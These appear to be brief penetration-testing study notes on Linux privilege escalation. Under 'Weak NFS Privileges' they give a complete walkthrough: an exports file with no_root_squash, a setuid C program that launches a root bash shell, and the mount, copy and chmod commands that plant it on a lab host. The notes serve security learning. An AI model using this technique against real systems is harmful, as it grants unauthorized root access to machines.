Miscellaneous
Passive Traffic Capture
Weak NFS Privileges
Sample Exploitation (Check hacktricks)
$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /var/nfs/general *(rw,no_root_squash) /tmp *(rw,no_root_squash)$ cat shell.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); system("/bin/bash"); } $ gcc shell.c -o shell$ sudo mount -t nfs 10.129.2.12:/tmp /mnt $ cp shell /mnt $ chmod u+s /mnt/shell$ ls -la total 68 drwxrwxrwt 10 root root 4096 Sep 1 06:15 . drwxr-xr-x 24 root root 4096 Aug 31 02:24 .. -rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell $ ./shell
Hijacking TMUX Sessions
Sample Exploitation
Last updated